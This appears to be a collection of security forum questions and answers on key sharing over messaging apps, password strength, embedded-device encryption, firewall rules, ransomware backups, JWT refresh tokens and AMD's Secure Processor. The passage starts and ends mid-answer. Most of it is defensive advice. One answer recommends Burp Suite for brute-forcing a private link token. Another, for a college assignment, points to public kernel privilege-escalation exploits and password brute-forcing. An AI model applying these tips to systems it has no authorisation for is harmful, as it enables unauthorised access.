But we shall also take into account that we additionally want the file not to be modified. So we can just include a hash of the file and if it is there and matches what you decrypted, he knows the password. GCM as suggested by Stephen is also an alternative to including a hash.


Can I use WhatsApp to securely send public key, symmetric key and private key? I am asking this because WhatsApp says it is end-to-end encrypted.

Are there any problems with sending a public key through WhatsApp?

There might be some objections to sending symmetric and private keys.

Under what circumstances can I send symmetric and private keys?

E2EE doesn't protect data at rest. Unlike Signal, WhatsApp doesn't encrypt internal message database. A forensic analysis can decrypt deleted messages if Data Encryption Keys which encrypt user's and application data are compromised. It seems to be impractical but that's what spyware agencies are doing now.
According to this research paper: Data Security on Mobile Devices: Current State of the Art, Open Problems, and Proposed Solutions (pdf) which is also covered by WIRED: How Law Enforcement Gets Around Your Smartphone's Encryption talks about design flaw in data encryption of android and iOS. One of its author has briefly explained it for iOS, although the method of exploitation is same for android as well.
Android and iOS keep data encryption keys in memory once a user unlocks its device first time since last reboot. This is called After First Unlock (AFU) state. Keys remain in memory even if the device is relocked again. This is intended this way to maintain user experience and to keep user focused app functional at locked screen which include messaging apps, contacts, songs, notes, reminders, etc. Most of the time your device remains in AFU state. If you reboot your device but don't unlock it yet, your device state is in Before First Unlock (BFU) state. In BFU state, user and app data are still encrypted. To decrypt them, your device prompts to unlock screen using your screen lock password which is then fed to key derivation to derive a Key Encryption Key that decrypts data encryption keys. This is why biometric to unlock screen doesn't work first time after reboot.
Once data encryption keys are extracted from memory physically that is directly tampering with SoC without disconnecting the battery or by using zero day exploits, spyware agencies can decrypt subset of the data. Keys can be per-file basis but these are derived from data encryption keys which means even if a file has been deleted, its key can be re-derived and the deleted file itself can be recovered from NAND flash.
WhatsApp daily chat backup encrypts message database with AES-GCM-256 key which is known to WhatsApp service (see How can WhatsApp restore local or Google Drive Backups?). Although, the chat backup is not possessed by WhatsApp service but Google Drive does if Google Drive backup is enabled which most users do. There you have no control of how it is used by spyware agencies.
Sending passwords through Signal is somewhat safer than WhatsApp but not entirely. Signal encrypts the message database with database encryption key which is itself encrypted with a key stored in Trusted Execution Environment (TEE) (android 7+). Its message database has page size of 4096 bytes and IV of each page is stored in page footer. Modifying an existing page such as by deleting a message changes the IV and the entire page is reencrypted using database encryption key. If the IV of that page has been changed and possibly overwritten by new IV, there's no way of recovering a deleted message.
Uninstalling Signal altogether also clears the key in TEE which makes its database encryption key undecryptable and so does its data. But the above design flaw also affects Signal's existing messages. As database encryption key must be in memory to service messages at locked screen, it can be extracted. That's how FBI might be Hacking Into Private Signal Messages On A Locked iPhone.
Also, apps with accessibility permission can see the content on your screen which is the easiest way to compromise messages if the app that you trust is actually malicious. Google and Apple are very strict about what apps on their app stores can have code to request this permission from the user.
As for private keys, I don't believe it should be even available to you for sharing.


Validate Japanese passwords For English we have some good practice when we want to create an password, like Add numbers, symbols and capital letters. As result we have password like this: P@ssW0rd.
Is there any rule like this to create password in Japanese?

Note that this is no longer the suggested way to create strong passwords. It tends to be counter productive, and in fact your particular example has good odds of being cracked quickly if someone were to attempt to bruteforce it. Here is a breakdown:

XKCD #936: Short complex password, or long dictionary passphrase?

Password length is more important than password complexity, and the language doesn't particularly matter. Regardless of language the total amount of "randomness" is what protects a password from bruteforce. Whether you are using English letters or Asian characters, the more the better.


Embedded System Communications Security I am getting ready to start deploying an embedded sensor network that is internet connected (via the cell network) and reports private data on a regular basis back to a central server.  Unfortunately, the device has neither the connectivity (very high latencies) nor the processing power to use SSL, so I think I am left to come up with something myself, in violation of rule #1 of cryptography.

What I have come up with:

We have essentially three channels (out-of-band commands, http requests to the internet, http responses), so will store three independent keys (generated randomly during assembly) on a per-device basis.

HTTP data is encrypted as E(iv, key, payload || H(key, payload)) where E is AES 128 in CBC mode and H is a SHA256 HMAC.  On the embedded side iv is generated as H(current time) and transmitted in the clear, along with the device's unique id for selecting the correct key.  There is no RNG on the microcontroller so I'm doing the best I can for the IV.  Is that good enough?

Since commands are not private but need to be authenticated, they are transmitted as payload || H(key, payload) using a different key than HTTP requests or responses.

I know getting this right is really hard, am I missing anything obvious or do I have any details wrong?

First, you should define precisely what kind of attack you are trying to defend against:

Do you fear attackers who spy on the messages exchanged between the sensor and the server, and learn the contents of the messages ?
Do you fear attackers who impersonate the server and talk to the sensor as if they were the server ?
Do you fear attackers who impersonate the sensor, and send fake requests to the server ?
Do you fear attackers who drop, duplicate, replay and reorder messages between client and server ?

A symmetric-only lightweight protocol which covers all of the above -- to some extent -- looks like this:

For any communication channel between the sensor and the server, there are two symmetric keys which both the server and the sensor know, one for data sent by the server to the sensor, and one for data sent by the sensor to the server.
Every message sent by either the server or the sensor is encrypted with AES in EAX mode.
EAX mode requires a non-repeating IV; the sensor and the server will use counters.
Each message contains the IV (counter value) for that message, followed by the AES-EAX encryption of the message.
For each communication channel, the sensor stores the current counter value for the message it sends, and the IV of the last message it received from the server over that channel.
When it sends a new message, the sensor increments its counter (for that channel), stores the new value, and then (only then) uses the new value as IV for AES-EAX.
When it receives a message from the server, the sensor checks that the new message uses an IV which is strictly greater than the last received from the server; the sensor stores that new IV and then (only then) decrypts and processes the message from the server.
The server employs the same techniques than the sensor (counter for the messages it send, saved IV from the last message from the sensor, and so on).

Assuming that counters start at 0, this means that the first message that the sensor will send will use 1 as IV; the second message will use 2, and so on. Similarly for the messages sent by the server. This enables the server and the sensor to detect replayed messages, out-of-order messages, and missing messages; what they should do in such a case is up to you to decide.

On EAX: combining encryption and MAC together with a given key is not completely easy. Reusing the same key for the encryption and the MAC is, theoretically, risky. An authenticated encryption mode such as EAX takes care of the fine details. As a fine bonus, EAX does not need uniformly random, unpredictable IV, as CBC does; it only requires IV values never to be repeated (for a given key), so a counter is fine -- as long as you can store the current IV value in a resilient way, and do it at the right time. Beware of an attacker switching the sensor off in order to force an IV reset !

On keys: I have talked here about bidirectional channels. You need one key per channel direction. This means two keys for the HTTP thing (one for requests, one for responses), and one key for the command channel, assuming it to be unidirectional (commands from the server to the sensor, no response from the sensor). If storing three 128-bit keys is problematic, you can store a single 128-bit key (a "master key") and dynamically rebuild the three keys from that, with a key derivation function. Since you are in a constrained environment, and EAX uses AES only, I suggest using AES for that too: using the master key as key, encrypt three fixed constant values (e.g. "0", "1" and "2") with a single raw AES invocation for each; this will yield three 128-bit blocks which will do fine as your channel keys.

On tamper resistance: I suppose that the sensors will be deployed "on the field", so an attacker may succeed in catching a sensor, opening it, and then trying to recover its logical contents. Unless the sensor is specially hardened against tampering (as a smartcard would be), this means that the attacker will be able to learn the sensor keys, and, from that moment, "emulate" the sensor as seen by the server. At a minimum, every deployed sensor should have its own keys, and the server will have to know the keys of all deployed sensors.


How to Best Minimize Damage After Loss of Computer Myself and the rest of my coworkers on my (former) employer’s dev team were all just laid off from our jobs, and the employer took our MacBook Pros without letting us clear of our personal information or log out from web services.

Now, I’ve covered the bases the best I can by changing those web passwords, and I was smart enough to use a unique password for logging into this machine and used 2FA on all sites that supported it.

I know that I’m screwed when it comes to the files that were stored on my computer; I lost months of work on personal projects. (To be fair, I shouldn’t have been using it for personal things… but alas, this is the situation I currently find myself in. Live and learn.)

Something that does bother me a lot is that my private signing key and Apple iOS dev certs were on the computer as well.

I’m just really paranoid that something bad is going to come from this. I’ve never let anything like this happen before, but this caught me and my coworkers by surprise; we didn’t have any time to back up or wipe anything. They called us into to a different room, told us the bad news, and unceremoniously escorted us out without letting us go back to our computers.

What steps can and should I take from here on out to help prevent further damage from this?

TL;DR: Laid off,  wasn’t able to clear personal data, remove private keys, or log out of websites. What can I do at this point to at least minimize Bad Things™?

Welcome to Information Security!

Sorry to hear about the surprise layoff. That's quite unfortunate. From what I can tell you already took great security steps to change your passwords for your accounts and you enabled 2FA before this happened. Some other steps you can take is to revoke your Apple certs and privates keys and generate new ones. This will prevent anyone else from using the old one. It may be troublesome depending on what apps are currently using this cert but I don't see what else you can do here accept take the hit and do the extra work to change the certificate.

Also, a lot of sites now have the ability for you to see your "active sessions"  from your account. You can see where you are logged into your account and can end those sessions. Facebook, apple, google does this and I think...Dropbox, Onedrive and Box do this too. These settings should be under any Security/Privacy settings.

Depending on what type of information you lost I would also suggest you get yourself some sort of identity theft + credit monitoring solution so you can keep track of any suspicious activity. Nowadays most will monitor changes on your credit and provide Dark Web monitoring so you will be alerted when your information is being sold on the internet somewhere. Some good ones are USAA(if you have a military family member), Complete ID (if you have a Costco membership), LifeLock...for anyone. Do some research, there a lot of good companies out there to help you monitor your private information. The cost is well worth the peace of mind.

Last suggestion I can think of is to Freeze your Credit. Since the Equifax breach Congress passed a law last September to make is easier for customers to freeze and unfreeze your credit. Why freeze your credit?....To prevent anyone else pretending to be you from taking out loans in your name. By law the bureaus have to unfreeze your credit within 1 hour of your request and freezing and unfreezing are now free; before they charged you.

It's impossible to be 100% risk free with your information, the best thing you can do is try and mitigate the risks as much as possible. I hope some of these suggestions help you.

April


DNS cache snooping protection Is it possible to protect against DNS cache snooping on ISC bind and PowerDNS servers?
If not, is there a similar DNS server software which can't protect agains snooping?

Because cache snooping is enabled by a properly operating caching DNS server, there's no way for the DNS server to thwart it without breaking proper caching behavior.  For example, you could make a DNS server hand out all responses with a synthetic TTL, but then the use case of having individual TTL for different records is being overridden.

It is possible to poison the cache as a defensive measure.  For example, let's say the attacker is using the cache to identify anti-virus software in use.  If the defender has a program which regularly queries the DNS records used by various anti-virus software that isn't in use, then the attacker will be get indicators for multiple anti-virus packages, with most of them being false.

I wrote a program to do this a couple years ago called dnSense.


Can you really change the password to a mac on reboot without knowing the old one? I was looking for answers for a configuration issue on my laptop but then I got to reading the answers to this post. There was one that troubled me slightly (the last one by Lauri) which says how to fix the users problem of the lost password by rebooting it and setting a new one on boot.

This seems like a security flaw to me if it works. What if someone rebooted your mac and changed your password for giggles or to have a snoop around or set up another username etc. Is this the tip of the iceberg? How can a user prevent that sort of thing being possible?

Linuxios can already answered this but I'll see if I can explain in more detail. It's not always obvious why Physical Access = Game Over:

It is not a "flaw" because if an attacker has physical access to your computer, the login password cannot protect it.

If your data is not encrypted, an attacker with physical access to your computer will just remove the hard drive and put it in a different computer to read the contents. The attacker won't be running the operating system on your hard drive, he will just be reading the contents. Therefore, the prompt for your login password will never appear, as it is a function of the operating system.

As Linuxios pointed out, you can set passwords that appear when turning on the computer (aka BIOS/EFI passwords). However, someone with physical access can get around that requirement by erasing the BIOS settings (there is a jumper on most motherboards to do this), or by removing the BIOS chip entirely and replacing it with a new one.

Someone might point out that your keychain and home directory (if you opted to encrypt it) would still be secure - and that is completely true. That is exactly why you should encrypt sensitive data with a strong password, so that even if your computer is stolen, the attacker can't get it.


icmp packets not able to reach the firewall despite of adding a specific rule, why? I am using iptables to allow the icmp traffic in/out of my host. Please find below are the entries from my firewall (linux based):-

[root@localhost ~]# iptables -L
Chain INPUT (policy DROP)
target     prot opt source               destination
ACCEPT     tcp  --  anywhere             anywhere            tcp dpt:ssh state NEW,RELATED,ESTABLISHED
ACCEPT     icmp --  anywhere             anywhere            icmp echo-request state NEW,ESTABLISHED

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy DROP)
target     prot opt source               destination
ACCEPT     icmp --  anywhere             anywhere            icmp echo-reply state ESTABLISHED
ACCEPT     tcp  --  anywhere             anywhere            tcp spt:ssh state RELATED,ESTABLISHED

When I am trying to ping the host I am getting the following error:-

[root@localhost ~]# ping 192.168.1.3 ##192.168.1.3 is the IP of the firewall
PING 192.168.1.3 (192.168.1.3) 56(84) bytes of data.
ping: sendmsg: Operation not permitted
ping: sendmsg: Operation not permitted
ping: sendmsg: Operation not permitted
ping: sendmsg: Operation not permitted

Which rule should I add to the OUTPUT CHAIN of filter table to get this done. I don't want all traffic to go out; so I have selected DROP as the default policy for the chain

You have the rules backwards. In INPUT you must have icmp-reply and in OUTPUT icmp-request


Compromised system AFTER formatting? I posted three messages regarding my computer being compromised.  I was advised to reinstall everything, because it's nearly impossible to figure out how the hack was done. I reinstalled, and almost immediately, after two or three days, my computer was compromised again.

My harddrive is split (partitioned), into "C" and "D".  I, of course reinstalled again on "C" and left "D" untouched.  Could I have a "boot trojan" of sorts that gets activated when I start the computer, from "D"?  Is the harddrive still "one", even though it's partitioned?

Based on the information that you've provided and your comments, I'd guess your problem is one of the following (arranged in decreasing probability):

Your D:/ Drive contains malware - You mention that there is nothing of value in that partition, but you've not wiped it since the day you got it from the factory. Some systems come with auto backup software that backs up to that disk, and I'd guess that your previous OS backed up an infected file which is again working its magic.
Infected reinstall media - You're using a backdoored image or it was tampered with after you created it.
Bootsector virus - As Hacktiker said, but less common and less probable.


Is malware known to mount volumes? I have several Windows machines that do automatic backups to external or internal backup drives. This happens automatically during off hours, and it needs to stay that way with no manual intervention required. For example, disconnecting and reconnecting external drives isn't an acceptable option.

However, since those drives are connected, ransomware is a very real threat to them. As a defense, I am considering mounting the backup volumes only when needed to do a backup and then dismounting them immediately after the backup is done.

I know this isn't a perfect defense since malware that gains admin privileges could mount those drives just as easily as I can, but that seems like an unlikely thing for malware to do since unmounted drives aren't normally of much interest. (Or they're of great interest, I'm not sure which.)

I'm willing to take the risk of encountering zero day malware capable of doing that, but would that behavior really be zero day? Or has malware that scans for and mounts unmounted volumes already been seen in the wild?

Ransomware (specifically Locky comes to mind) is able to attack unmapped network shares. I am not aware of any malware that is able to mount an unmounted drive, though I imagine that it's not outside the realm of possibility. Most variants I've seen or heard of use a dropper file to download a payload - this payload has the potential to change so just because it's not being done now doesn't mean it won't be in the future.

  I know this isn't a perfect defense since malware that gains admin
  privileges could mount those drives just as easily as I can, but that
  seems like an unlikely thing for malware to do since unmounted drives
  aren't normally of much interest.

I would disagree with this statement. The reason ransomware is so effective is that it manages to monetize data that is intrinsically worthless. Your data matters to you; you're likely willing to pay for it and that's enough to make it a target for ransomware.

I would advise always having a truly offline backup. Back in the day when more people were backing up to tape this was almost always the case, however as many have switched to drives these offline backups are not as common any more. If you truly want to protect yourself you'll have a truly offline backup (unplugged and not network accessible) with a RPO that meets your organization's business requirements.


Program for guessing a url I had an old soundcloud account where i privated one of my songs. After many years, I would like to listen to the track, but i don't remember what email was linked to the account or the password. All I have is the link to the song. In this case, a privated soundcloud link would look as follows

soundcloud.com/[username]/[name of song]/[xxxxxxx]

I need to know if there is some way for me to guess the xxxxxxx part. This part can consist of any mix of lowercase, uppercase leters, numbers, and symbols. Is there a way for me to use some program or something i can use to guess these 7 letters/numbers/symbols no matter how long it would take? Any feedback is appreciated.

no matter how long it would take?

This is the thing about brute-force attacks: given enough time you can compromise everything. However, "enough time" may be longer than a human lifespan, or longer than the lifespan of the solar system. In your case, there approximately 80 possible characters, and 7 positions. This gives 807 = 20971520000000 possibilities. If you can try 100 tokens per second it would take you 6650 years to try them all.

Also, this token is a method of securing access to this song. Trying to bypass this may be against the law.

That said, I typically use the intruder tool in Burp Suite for brute-force attacks.


Who can sniff my packets? If I make a call to some server who can sniff my packets?

Obviously anyone who is on my network can sniff, but on the server side also?

My call will make several hops to the destination server, can they sniff my packets at these intermediate hops also?

AS @Schroeder said: YES.

Every data packet can be sniffed anywhere over any network the packet goes through.


Is RDP an effective security barrier If you need to provide access to a GUI / GUIs in one network from within another network, can RDP (e.g. via Terminal Services) be used as an effective security 'barrier', to stop any other direct network connectivity between the two environments. I know it's possible to transfer files in either direction via RDP, but I'm assuming it also possible to disable this via policy on one side or the other?

Any other risks with this approach, or similar (E.g. VNC type interfaces)? I assume they all have their vulnerabilities but am trying to avoid an environment with 2 machines on every desktop.

RDP stands for "Remote Desktop Protocol", so what it provides to people who connect is a full fledged session on the server. By default, this gives these people the same kind of power that they could have by sitting in front of the machine (except that they won't be able to attack the machine "physically").

If you want to prevent users from, e.g., uploading arbitrary executable files to the RDP server and running them from the server, then you have to restrict the Windows session down by deactivating right-click on most items, removing most or all of the "Start menu" entries, preventing copy&paste of files through RDP, and generally speaking nerf it down. All of this can be down through Group Policy Objects pushed from the Active Directory server. However, there are a lot of details to think about, and since this is a blacklist-like activity, it is difficult to know if you thought of everything (for instance, if you want to allow users to connect to a second server through Internet Explorer but do not wish them to access the configuration menus of IE, remember that the "Alt" key can make these menus reappear, if you just "hide" them). As a general rule, I would advise against using an intermediate RDP server as the foundation for your security; you'd better treat the RDP machine as "potentially hostile".

The security situation is similar with VNC, since it exports a desktop. The comparison between RDP and VNC will be mostly over performance and integration (if using a Windows server, RDP will be easier to setup for multiple concurrent clients, and will offer better performance over slow networks; for Linux systems, consider FreeNX).


How do I log all my internet-connections How can I (maybe with a proxy, but I need names of programs!?) log all my interactions of programs with my Internet connection, so that I could see WHAT a program is sending and WHAT it is receiving. (For example a program receives an XML Doc and I would like to read it.)

Also it would be very useful if I could modify every connection. For example programs trying to connect with: anyserver.amznsrv.com:4599, and I would like to redirect it to localhost or something like that.

For tracking what is sent and received, you can use a packet sniffer. I use Wireshark (formerly Ethereal).


Comparing uniquely salted hashes I have a system which needs to compare hashed identifier values. I want to salt my hashes, to prevent them being cracked with a rainbow table.

However, the system needs to be able to compare the hashed identifiers, so it seems that the same salt needs to be used for every hash.

A common salt would help protect the data from a pre-existing rainbow table, but an attacker could brute force crack one hash, determine the common salt, then crack the remaining hashes.

My question is, is there a more secure way to store the identifiers whilst preserving the ability to use them for matching?

What kind of "matching" are you trying to do?

Do you really need to compare them to each other (which would be unusual)? Or do you just need to verify that a particular user knows a particular password (the normal use case)?

If you're just trying to do basic authentication, that's the way unique salting is supposed to work. The authentication system knows each unique salt, and when the user tries to log in, uses that user-specific salt to generate a hash from the presented password. If it matches, the authentication is successful.

There should be no reason to have to compare users' passwords to each other. In fact, by using the same salt across many users, then even if you're resistant to a hypothetical custom rainbow table, as soon as the attacker cracks one user's password, they've cracked that password for all users who use that password.  This reduces the security value of proper hashing.

You can also have a sitewide additional salt ('pepper') if you'd like. But unless you're storing that pepper in an HSM, if the attacker compromises the system and can steal the hashes, they probably also have access to the code performing the authentication and can pull that pepper from disk or memory anyway.

Use large per-user salts - random enough and large enough to be virtually guaranteed to be unique across a very large user base.


How to handle refresh tokens I'm trying to wrap my head around JWT (JSON Web Token) based authentication for securing API endpoints using access tokens. I'm protecting these endpoints by requiring the user to have a valid access token in order to obtain said resources.

I'm struggling, however, understanding the use a refresh tokens.

I have a /auth/login endpoint which accepts POST requests:

class UserLogin(Resource):
    def post(self):
        data = parser.parse_args()
        current_user = User.find_by_username(data['username'])
        if not current_user:
            return {'message': 'Unsuccessful. You do not have an account'}

        if User.verify_hash(data['password'], current_user.password):
            access_token = create_access_token(current_user)
            refresh_token = create_refresh_token(current_user)
            return {
                'message': 'Login successful {}'.format(current_user.username),
                'roles': 'Role: {}'.format(current_user.role),
                'access token': access_token,
                'refresh token': refresh_token
            }
        else:
            return {'message': 'Something went wrong'}

The end point essentially checks the incoming credentials to ensure that the user exists in my User store. If they do, I'll return an access and refresh token. Otherwise, an error message to be handled client side.

Now, assume that the user has logged in and tries accessing a private resource from another end point secured by requiring an access token. The client will make a request and the protected end point will return some error message stating they do not have an access token. The client will then attempt to generate a new access token using the refresh token obtained on login:

class TokenRefresh(Resource):
    @jwt_refresh_token_required
    def post(self):
        current_user = get_jwt_identity()
        access_token = create_access_token(identity=current_user)
        return {'access token': access_token}

Hitting the above resource will generate a new access token with some defined expiration time. This is my current flow.

My question is, how should I store refresh tokens to ensure they are being accessed by the authenticated user? Should I have some additional logic in my login requests which store the generated refresh token to that specific user?

If so, should I then generate a new refresh token and overwrite the existing refresh token attached to the user each time the client tries to refresh their access token?

At present, I feel my process can be compromised if an attacker manages to obtain the refresh token.

The point of having access tokens is that they can be used without checking for invalidation. You can have 10000 frontend servers users can access with the token without the need to ever ask some database if it is invalid. But after some time, the token expires. The user needs a new access token, sends her refresh token and this refresh token is checked in some database.
You never need to check for expired access tokens or have any state, but limit abuse to the lifetime of the token.

If you don't have the requirement to accept the tokens without checking expiration in a database, you don't need the two different tokens.
You can just use the refresh token for each access.

Example workflow would be:

User logs in, gets access and refresh token. Access token lifetime 15min, refresh token 5 days.
User accesses the service using the access token. Service only checks signature and lifetime. No database connection.
User logs out, the refresh token is marked expired in the database
User accesses the service using the access token, this still works
15min pass. Access token expires, user requests a new access token using the refresh token still within its lifetime. The service checks the database and finds the token is expired. User can't get a new access token.

The whole system is a trade-off between the time it takes to invalidate sessions and the amount of connections to a shared/synchronized data source required.

You can replace the refresh token on each refresh, but remember that you need to store all expired refresh tokens until their lifetime is over.

From a security perspective it makes sense to create a new token, but it is a trade off between security and amount of data in your database.

In the worst case (no lifetime for refresh tokens, never do that) you now need to store one token every few minutes in the database for each user instead of one token for each user and you can never remove them again.


Is using trusted CA to issue certificate for a VPN server insecure? I’d like to have an AlgoVPN server that uses a trusted CA to issue a certificate for the VPN server.

I am currently using an AlgoVPN server, which is completely setup via Ansible scripts and automatically creates user profiles (mobileconfig files for iOS). This works fine for loading via an MDM or manually, but it uses a self-signed root cert and I'd like it to use a trusted CA to issue the certificate for the VPN server. However, in the process of looking at this possibility, I found some conflicting information about whether what I want to do is even a good idea.

In response to a similar question on a different VPN server, the feedback was: “Never use a public/globally trusted cert with your VPN. You will allow anyone anywhere with a cert from the same CA access to your VPN, reducing your overall security even with additional layers like TLS keys. Use a self-signed CA/Cert structure. There is zero benefit to using an ACME or other trusted cert and massive disadvantages by doing so. We will not fix an issue that would degrade security in this way.” Someone else said "I don't think using a public CA is an issue, unless the public CA gets compromised. Which could of course happen."

I don't really understand the issue. Can someone explain the security issues with doing what I'd like to do? It is unsafe?

If the certificate authority gets hacked (unlikely, but it has happened several times), they can generate another certificate, and trick your client into thinking their VPN server is your VPN server, and watch all your VPN traffic. That's because if you use a CA, your VPN client will accept any certificate signed by a CA that says it's the right server, not just the certificate you generated.

If it's a self-signed certificate, then they can't do that.


My company name is being used in email address to send fake job offers to random people. How do i stop this I have received complaints from people that they are getting job offer letters from my company email address. How can i stop this ?

If your server has its mail relays open, it might be used to send spam emails. For more information take a look:

https://uk.godaddy.com/help/testing-your-server-for-open-relays-8495


Antivirus settings for developers and build machines? I work in a company that has strict antivirus policy. Each computer must have an up-to date antivirus with all the bells and whistles turned on.

But as a developers, this is giving us problems.

Most noticeable is performance degradation. As building big solution might be creating, deleting and moving around lots of files, antivirus tends to check each one, which slows things down.

Second, less noticeable and more problematic are random failures on either developer's machine or on our CI build machines. This often occurs when antivirus is locking a file for analysis, but the build is trying to access that file. As lots of files are moved around, this becomes highly unpredictable and non-deterministic. Sometimes, only 5-10% of our builds fail because of this problem.

The suggested solution is to exclude the build executables and build folders from antivirus analysis. But so far, we had no success convincing our security department to do that for us.

My question is : What are best-practices to minimizing virus risk on developer and build machines? If that question is too broad, then what are possible security risks of excluding build folders in antivirus?

This is a common problem and different dev teams solve this is a variety of ways.

The best practice is to mitigate the risks appropriately. That sounds like a way of avoiding the question, but in cases like these, it's the only real way to approach the problem.

What's "appropriate"?

The threats are:

Devs use their machines to create and release critically important product code that will run on production servers, and both code and servers have access to the business' most critical data. A compromise of the dev's machine can result in the compromise of the code, the machines, and the data the dev's code is run on.

That means that in order to protect the dev machine, which has a low critical value to the business (you could shoot it with a shotgun and the business would not care except for the replacement hardware costs) from the things with the highest critical value to the business, there needs to be a level of control/protection/defence. Some form of risk mitigation.

Devs need the appropriate tools and resources to create the critically important product code upon which the business relies. Hampering of the development process or inconvenience to the devs could negatively impact code quality, product innovation, and speed of release.

That means that whatever mitigations are put in place need to have an impact on the devs that is within some definition of tolerance and needs to support the devs in their ability to meet productivity targets.

Given these threats, how does anti-virus fit in?

Anti-virus helps to automatically respond when the machine is compromised. The more "whistles and bells" are turned on, the increased number of types of compromise can be responded to. Reducing AV protection reduces the protection between the dev machine and the "crown jewels".

If the current AV level of protection to mitigate risk #1 is increasing risk #2, then you need to start looking at reducing risk #1 in new ways so that you can reduce the level of protection to bring risk #2 back into tolerance.

Reducing risk #1 in dev environments is to:

reduce the likelihood of compromise of dev machines, and/or
reduce the impact of compromise of dev machines

The more a dev machine is only used for development and not personal activities, the lower the likelihood of compromise of that machine. Devs like to do a ton of other things on their dev machine other than coding: music, videos, email, social media, browsing, games, installing random tools they find on whatever site they fancy. If those things could be done away from the coding machine, or coding environment, then you lower the likelihood of dev machine compromise. Then the AV protection level could be reduced to a more tolerable level.

Alternatively, the coding activity could be separated from the machine itself. This is typically done by having coding environments in a protected remote environment. That way, the dev machine can be filled with malware and the code in production is unaffected. In this way, in an extreme example, it might be possible to not have any AV on the dev machine at all. The remote coding environment can similarly have reduced protection because the likelihood of its compromise is much lower.

However, if you want the devs to do whatever they want on their machines and code and upload whatever code they want to the CI process, then increasing your tolerance for delays and bugs introduced by the protection mechanisms is the only way forward while also keeping risk #1 at a tolerable level.

Specific settings

Checking each file when accessed (moved around or run in the CI steps) is important in a dynamic file system environment like a laptop. If the environment was more static and predictable, then on-access scanning can be turned off.

There could be a file upload area on the CI servers that allows the AV to scan files, and then the CI process should pass it on to the rest of the CI process. Alternatively, if you are passing code and not compiled binaries, there is no need to run AV on each file when accessed, but scanning can be scheduled. Binaries, however, should be scanned before they are run in CI.

Excluding files or file locations just means that you intentionally set up a blind spot for malware to permanently hide and typically increases risk #1 unacceptably. Instead, increase the predictability of safety in the environment and you are freer to reduce the on-access, on-demand, and dynamic protections.

What about increasing tolerance in risk #1?

For completeness sake, I will also address this.

As a dev, you have no control over the acceptable level of risk #1 and it is entirely in the hands of management. However, you could, and should, ask and challenge the acceptable level. An honestly and accurately assessed risk to the business by having compromised machines drives all the other related risks, so it is important to get it at the correct level. Just throwing mitigations/protections at the highest level at things in hopes that "bad things don't happen" doesn't help anyone and wastes the company's time and money.

How devs can express their needs to the security department

Express your general understanding and buy-in of risk #1
Ask to get to know management's acceptable levels of risk #1
Ask for their, and management's, understanding and buy-in of risk #2
Work together to come up with suggestions to reduce the likelihood and impact of risk #1 in different ways so that the level of mitigation brings risk #2 to a more tolerable level
Understand that promises and trust will only go so far and that technical boundaries and controls have to come into play at some point
Commit to regular review with the security team about the risks and the mitigations to make sure it is all still working with everyone and to seek improvements and conveniences


Is Fedora 13 impenetrable? I'm working on a college assignment where we were given a system and asked to exploit it. I was given a Fedora 13 Goddard running Linux kernel 2.6.33.3, and my task is to gain root privileges on the system and report the vulnerability which was exploited. We are free to borrow online help too.
The problem is that I have been searching for a while, but couldn't find any exploit that can grant root privileges. I tried various exploits from packet storm, exploit DB and others, the best I can get is a DoS.
I've seen the CVE databases, and I've found few vulnerabilities detailed, but can't find any exploit code anywhere. I'd be really glad if someone can help me out with this.
Thanks in advance.

Look for when the last patch was applied, and then look for Linux privilege escalation vulnerabilities that are not patched. Most of the Linux privilege escalation vulnerabilities affect multiple distros.

In this case, Linux kernel 2.6.33.3 seems very old, so public exploits such as "dirty cow" (CVE-2016-5195) may work.

Other methods may involve brute forcing the admin password.

https://www.sans.org/reading-room/whitepapers/testing/attack-defend-linux-privilege-escalation-techniques-2016-37562


What is known about the capabilities of AMD's Secure Processor? I've found a fair amount of research about what Intel's ME does, including the "Intel x86 considered harmful (Chapter 4 is about ME)" survey paper by Joanna Rutkowska, but I'm having a much harder time finding information about AMD's Secure Processor (previously known as PSP).
Some people have asserted that AMD PSP is "as bad as" or "worse than" the ME. (For example, there's an oft-cited page on the libreboot project's site that claims a lot of things about PSP, but I haven't yet found independent corroboration of many of those claims, and libreboot's perspective is clearly different from that of a practical security researcher.)
Ultimately, what I want to answer for myself is: if one's threat model assumes that AMD hasn't pre-backdoored its CPUs/APUs in the factory, how risky is the Secure Processor as a vector for future backdooring (like the "ring -3 rootkits" demonstrated on Intel), either by AMD or a third party, and is that threat mitigable?
But less subjectively, I'd like to know what capabilities have already been seen on the Secure Processor, and how that compares to what's known about ME:

Has it been used for remote management similar to Intel's AMT?
Is it known to have its own network stack?
Does it have software-updatable firmware, and how is that firmware secured?
Have there been any known exploits targeting it yet, or any public research done on its firmware?
On what grounds could one say that the situation with AMD PSP is "better" or "worse" than with Intel ME?

I was interested in the same issue and did some preliminary research. I'll try to answer some of the questions, though as a non-AMD engineer I cannot be certain.

Does it have software-updatable firmware?

Yes, it does. This firmware is part of the AGESA (AMD Generic Encapsulated Software Architecture), a binary blob distributed from AMD to UEFI firmware vendors.
Also to coreboot, where they come with release notes The PSP section mentions PSP version numbers for different platforms. This suggests that they are updatable.

and how is that firmware secured?

I have not been able to extract the firmware code, and don't know how it is protected. A possible indication would be how the SMU firmware is protected: with a HMAC-SHA in the header, with hidden secret key (see the Rudolf Marek's presentation).

Pointer for further analysis: stoney ridge PSP blobs in coreboot.

Has it been used for remote management similar to Intel's AMT?

It is impossible to know what it has been used for. However, my findings suggest that remote management is not the primary purpose (unlike Intel's ME). What I've find it does:

The PSP plays a role in the boot process of the CPU (this is often-quoted, so I won't repeat).
The PSP offers the fTPM (firmware based TPM) API for private key management.
The PSP does key managment for SEV (Secure Encrypted Virtualization API), VM memory encryption. This uses an API to the PSP. To see the nuts and bolts there is a Linux patch RFC to introduce support.
The PSP can be used for cryptographic offloading. Support for this landed in the Linux kernel under drivers/crypto/ccp.

However: there is evidence that code can be loaded dynamically,

Loading of "trustlets" in coreboot. Pointer for further analysis: PSP library in coreboot
A comment "Command to load Trusted Application binary into PSP OS" in drivers/gpu/drm/amd/amdgpu/psp_gfx_if.h in the Linux kernel. This might deal with a different PSP on the GPU die, but as it is AMD code, even then there might be overlaps.

Is it known to have its own network stack?

No, it is not known to have a network stack in the stock configuration. All APIs seem to be facing the CPU, not the outside world.

Knowing how these processors are designed with vague specifications from "enterprise customers" and DRM vendors, it might be possible to load remote management modules, with network stack. However, nothing that I've found proves that conclusively.

Have there been any known exploits targeting it yet, or any public research done on its firmware?

There is a public vulnerability in the fTPM API.
I could not find any public research on the firmware.

On what grounds could one say that the situation with AMD PSP is "better" or "worse" than with Intel ME?

